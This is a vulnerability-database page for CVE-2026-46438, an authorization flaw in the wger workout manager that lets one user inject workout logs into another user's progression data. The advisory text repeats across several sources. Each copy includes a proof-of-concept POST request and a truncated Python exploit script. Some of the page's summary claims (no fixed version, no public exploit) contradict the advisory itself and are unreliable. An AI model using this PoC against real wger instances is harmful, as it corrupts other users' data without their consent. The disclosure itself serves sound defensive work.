CVE-2026-46438
wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry
wger is a free, open-source workout and fitness manager. Prior to version 2.6, an authenticated attacker can inject arbitrary workout log entries into any other user's SlotEntry by supplying the victim's slot_entry ID in a POST /api/v2/workoutlog/ request. The slot_entry foreign key is not included in the ownership verification performed by WorkoutLogViewSet.get_owner_objects(), so the server accepts and persists the cross-user reference without error. Because SlotEntry.get_config_data() retrieves associated logs via self.workoutlog_set.all() with no user filter, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets. Version 2.6 contains a patch.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.5
wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry
wger is a free, open-source workout and fitness manager. Prior to version 2.6, an authenticated attacker can inject arbitrary workout log entries into any other user's SlotEntry by supplying the victim's slot_entry ID in a POST /api/v2/workoutlog/ request. The slot_entry foreign key is not included in the ownership verification performed by WorkoutLogViewSet.get_owner_objects(), so the server accepts and persists the cross-user reference without error. Because SlotEntry.get_config_data() retrieves associated logs via self.workoutlog_set.all() with no user filter, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets. Version 2.6 contains a patch.
- Record
CVE-2026-46438- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-639, CWE-862
- Updated
- 2026-11-02
EUVDEUVD-2026-94335
6.5
wger is a free, open-source workout and fitness manager. Prior to version 2.6, an authenticated attacker can inject arbitrary workout log entries into any other user's SlotEntry by supplying the victim's slot_entry ID in a POST /api/v2/workoutlog/ request. The slot_entry foreign key is not included in the ownership verification performed by WorkoutLogViewSet.get_owner_objects(), so the server accepts and persists the cross-user reference without error. Because SlotEntry.get_config_data() retrieves associated logs via self.workoutlog_set.all() with no user filter, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets. Version 2.6 contains a patch.
- Record
EUVD-2026-94335- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-rjpf-7pf5-q54x
6.5
wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry
Summary
An authenticated attacker can inject arbitrary workout log entries into any other user's SlotEntry by supplying the victim's slot_entry ID in a POST /api/v2/workoutlog/ request. The slot_entry foreign key is not included in the ownership verification performed by WorkoutLogViewSet.get_owner_objects(), so the server accepts and persists the cross-user reference without error.
Because SlotEntry.get_config_data() retrieves associated logs via self.workoutlog_set.all() with no user filter, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.
Details
wger uses a centralized ownership-verification pattern in WgerOwnerObjectModelViewSet.create() (file: wger/utils/viewsets.py). This method iterates over the list returned by each ViewSet's get_owner_objects() and verifies that every listed foreign-key value in the request belongs to the authenticated user. Foreign keys not present in the list are never checked.
WorkoutLogViewSet.get_owner_objects() returns:
# File: wger/manager/api/views.py, lines 312-316
def get_owner_objects(self):
return [(Routine, 'routine'), (WorkoutSession, 'session')]
# ^^^^^^^ checked ^^^^^^^^^^^^^^^ checked
# (SlotEntry, 'slot_entry') is MISSING
Because slot_entry is omitted, an attacker can supply their own routine (which passes the ownership check) alongside a victim's slot_entry ID (which is never verified).
The second contributing factor is in SlotEntry.get_config_data():
# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.all()) # no .filter(user=...)
This reverse-relation query returns all WorkoutLog rows linked to the SlotEntry, regardless of which user created them. The attacker's injected entries are therefore included in the victim's progression calculations.
PoC
Prerequisites
- Two authenticated user accounts (attacker and victim)
- The attacker knows (or can enumerate) the victim's
SlotEntryID - The attacker has at least one
Routineof their own (to satisfy theroutineownership check)
Attack Steps
POST /api/v2/workoutlog/
Authorization: Token <attacker_token>
Content-Type: application/json
{
"routine": <attacker_routine_id>,
"slot_entry": <victim_slot_entry_id>,
"exercise": <any_valid_exercise_id>,
"repetitions": 999,
"weight": 999,
"repetitions_unit": 1,
"weight_unit": 1,
"date": "2025-01-15",
"iteration": 1
}
Expected: HTTP 403 (the slot_entry belongs to another user)
Actual: HTTP 201 (the log is created and linked to the victim's SlotEntry)
Proof of Concept Script
#!/usr/bin/env python3
"""
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Target: wger Workout Manager
Severity: CRITICAL - CVSS 7.1
CWE-639: Authorization Bypass Through User-Controlled Key
Usage:
python3 poc.py http://localhost:8000
"""
import requests
import sys
import json
from datetime import date, timedelta
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <BASE_URL>")
print(f"Example: {sys.argv[0]} http://localhost:8000")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"
VICTIM_USER = "admin"
VICTIM_PASS = "adminadmin"
ATTACKER_USER = "attacker_idor_poc"
ATTACKER_PASS = "Attacker!Poc!2025"
BANNER = """
=====================================================================
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Severity: CRITICAL
CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
"""
print(BANNER)
# ---- Helper ----
def api_login(username, password):
r = requests.post(f"{API}/login/", json={
"username": username, "password": password
})
if r.status_code == 200:
return…
- Record
GHSA-rjpf-7pf5-q54x- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-639, CWE-862
- Updated
- 2026-11-02
NVD
6.5
wger is a free, open-source workout and fitness manager. Prior to version 2.6, an authenticated attacker can inject arbitrary workout log entries into any other user's SlotEntry by supplying the victim's slot_entry ID in a POST /api/v2/workoutlog/ request. The slot_entry foreign key is not included in the ownership verification performed by WorkoutLogViewSet.get_owner_objects(), so the server accepts and persists the cross-user reference without error. Because SlotEntry.get_config_data() retrieves associated logs via self.workoutlog_set.all() with no user filter, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets. Version 2.6 contains a patch.
- Record
CVE-2026-46438- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-639, CWE-862
- Updated
- 2026-11-02
OSV
6.5
wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry
wger is a free, open-source workout and fitness manager. Prior to version 2.6, an authenticated attacker can inject arbitrary workout log entries into any other user's SlotEntry by supplying the victim's slot_entry ID in a POST /api/v2/workoutlog/ request. The slot_entry foreign key is not included in the ownership verification performed by WorkoutLogViewSet.get_owner_objects(), so the server accepts and persists the cross-user reference without error. Because SlotEntry.get_config_data() retrieves associated logs via self.workoutlog_set.all() with no user filter, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets. Version 2.6 contains a patch.
- Record
CVE-2026-46438- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-639, CWE-862
- Updated
- 2026-11-02
OSVGHSA-rjpf-7pf5-q54x
6.5
wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry
Summary
An authenticated attacker can inject arbitrary workout log entries into any other user's SlotEntry by supplying the victim's slot_entry ID in a POST /api/v2/workoutlog/ request. The slot_entry foreign key is not included in the ownership verification performed by WorkoutLogViewSet.get_owner_objects(), so the server accepts and persists the cross-user reference without error.
Because SlotEntry.get_config_data() retrieves associated logs via self.workoutlog_set.all() with no user filter, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.
Details
wger uses a centralized ownership-verification pattern in WgerOwnerObjectModelViewSet.create() (file: wger/utils/viewsets.py). This method iterates over the list returned by each ViewSet's get_owner_objects() and verifies that every listed foreign-key value in the request belongs to the authenticated user. Foreign keys not present in the list are never checked.
WorkoutLogViewSet.get_owner_objects() returns:
# File: wger/manager/api/views.py, lines 312-316
def get_owner_objects(self):
return [(Routine, 'routine'), (WorkoutSession, 'session')]
# ^^^^^^^ checked ^^^^^^^^^^^^^^^ checked
# (SlotEntry, 'slot_entry') is MISSING
Because slot_entry is omitted, an attacker can supply their own routine (which passes the ownership check) alongside a victim's slot_entry ID (which is never verified).
The second contributing factor is in SlotEntry.get_config_data():
# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.all()) # no .filter(user=...)
This reverse-relation query returns all WorkoutLog rows linked to the SlotEntry, regardless of which user created them. The attacker's injected entries are therefore included in the victim's progression calculations.
PoC
Prerequisites
- Two authenticated user accounts (attacker and victim)
- The attacker knows (or can enumerate) the victim's
SlotEntryID - The attacker has at least one
Routineof their own (to satisfy theroutineownership check)
Attack Steps
POST /api/v2/workoutlog/
Authorization: Token <attacker_token>
Content-Type: application/json
{
"routine": <attacker_routine_id>,
"slot_entry": <victim_slot_entry_id>,
"exercise": <any_valid_exercise_id>,
"repetitions": 999,
"weight": 999,
"repetitions_unit": 1,
"weight_unit": 1,
"date": "2025-01-15",
"iteration": 1
}
Expected: HTTP 403 (the slot_entry belongs to another user)
Actual: HTTP 201 (the log is created and linked to the victim's SlotEntry)
Proof of Concept Script
#!/usr/bin/env python3
"""
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Target: wger Workout Manager
Severity: CRITICAL - CVSS 7.1
CWE-639: Authorization Bypass Through User-Controlled Key
Usage:
python3 poc.py http://localhost:8000
"""
import requests
import sys
import json
from datetime import date, timedelta
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <BASE_URL>")
print(f"Example: {sys.argv[0]} http://localhost:8000")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"
VICTIM_USER = "admin"
VICTIM_PASS = "adminadmin"
ATTACKER_USER = "attacker_idor_poc"
ATTACKER_PASS = "Attacker!Poc!2025"
BANNER = """
=====================================================================
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Severity: CRITICAL
CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
"""
print(BANNER)
# ---- Helper ----
def api_login(username, password):
r = requests.post(f"{API}/login/", json={
"username": username, "password": password
})
if r.status_code == 200:
return…
- Record
GHSA-rjpf-7pf5-q54x- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N - Weakness
- CWE-639, CWE-862
- Updated
- 2026-11-02
OSVPYSEC-2026-4314
6.5
wger: Cross-User Data Corruption via Missing Ownership Check on WorkoutLog.slot_entry
Summary
An authenticated attacker can inject arbitrary workout log entries into any other user's SlotEntry by supplying the victim's slot_entry ID in a POST /api/v2/workoutlog/ request. The slot_entry foreign key is not included in the ownership verification performed by WorkoutLogViewSet.get_owner_objects(), so the server accepts and persists the cross-user reference without error.
Because SlotEntry.get_config_data() retrieves associated logs via self.workoutlog_set.all() with no user filter, the attacker's injected data is silently folded into the victim's progressive-overload calculations, corrupting their auto-generated weight and repetition targets.
Details
wger uses a centralized ownership-verification pattern in WgerOwnerObjectModelViewSet.create() (file: wger/utils/viewsets.py). This method iterates over the list returned by each ViewSet's get_owner_objects() and verifies that every listed foreign-key value in the request belongs to the authenticated user. Foreign keys not present in the list are never checked.
WorkoutLogViewSet.get_owner_objects() returns:
# File: wger/manager/api/views.py, lines 312-316
def get_owner_objects(self):
return [(Routine, 'routine'), (WorkoutSession, 'session')]
# ^^^^^^^ checked ^^^^^^^^^^^^^^^ checked
# (SlotEntry, 'slot_entry') is MISSING
Because slot_entry is omitted, an attacker can supply their own routine (which passes the ownership check) alongside a victim's slot_entry ID (which is never verified).
The second contributing factor is in SlotEntry.get_config_data():
# File: wger/manager/models/slot_entry.py, line 367
logs = list(self.workoutlog_set.all()) # no .filter(user=...)
This reverse-relation query returns all WorkoutLog rows linked to the SlotEntry, regardless of which user created them. The attacker's injected entries are therefore included in the victim's progression calculations.
PoC
Prerequisites
- Two authenticated user accounts (attacker and victim)
- The attacker knows (or can enumerate) the victim's
SlotEntryID - The attacker has at least one
Routineof their own (to satisfy theroutineownership check)
Attack Steps
POST /api/v2/workoutlog/
Authorization: Token <attacker_token>
Content-Type: application/json
{
"routine": <attacker_routine_id>,
"slot_entry": <victim_slot_entry_id>,
"exercise": <any_valid_exercise_id>,
"repetitions": 999,
"weight": 999,
"repetitions_unit": 1,
"weight_unit": 1,
"date": "2025-01-15",
"iteration": 1
}
Expected: HTTP 403 (the slot_entry belongs to another user)
Actual: HTTP 201 (the log is created and linked to the victim's SlotEntry)
Proof of Concept Script
#!/usr/bin/env python3
"""
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Target: wger Workout Manager
Severity: CRITICAL - CVSS 7.1
CWE-639: Authorization Bypass Through User-Controlled Key
Usage:
python3 poc.py http://localhost:8000
"""
import requests
import sys
import json
from datetime import date, timedelta
if len(sys.argv) < 2:
print(f"Usage: {sys.argv[0]} <BASE_URL>")
print(f"Example: {sys.argv[0]} http://localhost:8000")
sys.exit(1)
BASE = sys.argv[1].rstrip("/")
API = f"{BASE}/api/v2"
VICTIM_USER = "admin"
VICTIM_PASS = "adminadmin"
ATTACKER_USER = "attacker_idor_poc"
ATTACKER_PASS = "Attacker!Poc!2025"
BANNER = """
=====================================================================
PoC: Cross-User Data Corruption via WorkoutLog.slot_entry IDOR
Severity: CRITICAL
CWE-639: Authorization Bypass Through User-Controlled Key
=====================================================================
"""
print(BANNER)
# ---- Helper ----
def api_login(username, password):
r = requests.post(f"{API}/login/", json={
"username": username, "password": password
})
if r.status_code == 200:
return…
- Record
PYSEC-2026-4314- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N - Updated
- 2026-11-02
Affected products
Affected packages
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-46438 is a medium vulnerability (CVSS 6.5) in Wger-project Wger, published October 7, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.23%, the 13th percentile. No source names a fixed version.
References
github.com/wger-project/wger/security/advisories/GHSA-rjpf-7pf5-q54x
github.com/wger-project/wger/releases/tag/2.6
nvd.nist.gov/vuln/detail/CVE-2026-46438
github.com/wger-project/wger/commit/b29cf178651bbcc243d21673932e32bd42017893
github.com/pypa/advisory-database/tree/main/vulns/wger/PYSEC-2026-4314.yaml
pypi.org/project/wger
github.com/advisories/GHSA-rjpf-7pf5-q54x
github.com/CVEProject/cvelistV5/tree/main/cves/2026/46xxx/CVE-2026-46438.json
github.com/wger-project/wger
Left out here: the rest of 3 source descriptions. The JSON record has them.